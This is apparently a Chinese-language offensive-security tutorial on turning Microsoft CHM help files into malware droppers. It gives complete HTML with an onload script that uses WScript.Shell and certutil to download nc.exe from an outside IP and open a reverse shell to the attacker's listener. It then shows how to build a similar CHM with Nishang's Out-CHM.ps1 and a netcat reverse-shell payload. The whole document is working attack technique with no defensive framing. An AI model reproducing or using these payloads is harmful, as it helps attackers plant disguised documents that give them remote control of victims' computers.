CHM

Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。

编写CHM

为了编写CHM,我们首先需要下载HTML Help Workshop

安装运行后会显示空白界面。

我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。

点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。

点击下一步后会询问包含的文件,这里选择HTML files。

然后我们需要编写HTML文件,以nc.html为例:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Example</title>
<script type="text/javascript">
function downloadAndRun() {
  var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444";
  var wsh = new ActiveXObject("WScript.Shell");
  wsh.Run(command, 0, false);
}
</script>
</head>
<body onload="downloadAndRun()">
<h1>Example</h1>
<p>This is an example of using CHM file to download and run a malicious program using certutil.</p>
</body>
</html>

该代码会通过certutil下载nc.exe 文件并运行。

编写完毕后,在当前窗口中点击Add按钮添加指定的HTML文件。

继续点击下一步我们就创建完成。

完成后,我们可以点击FILE下面的文件来查看编辑的HTML代码。

接下来我们需要编译文件,可以选择文件菜单中的Compile或点击左下角的按钮进行编译。

查看输出文件目录时,我们就会看到生成好的CHM文件,在本例中为nc.chm。

当运行该文件后,我们即可在nc的监听终端中获取到shell会话。

PowerShell武器化

除了手动编写外,我们还可以使用PowerShell后渗透框架——Nishang来生成CHM文件。

攻击者可以采用多种方法下载该文件:https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

下载完成后,输入以下命令导入模块:

 Import-Module .\Out-CHM.ps1

然后输入以下命令来生成CHM文件:

 out-chm -payload "C:\Users\snowwolf\nc.exe -e powershell 192.168.8.145 4444" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

其中,-payload用来指定运行的程序;-HHCPath用来指定HTML Help程序的运行路径。

当运行该CHM文件时,即可在nc的监听终端中获取到会话。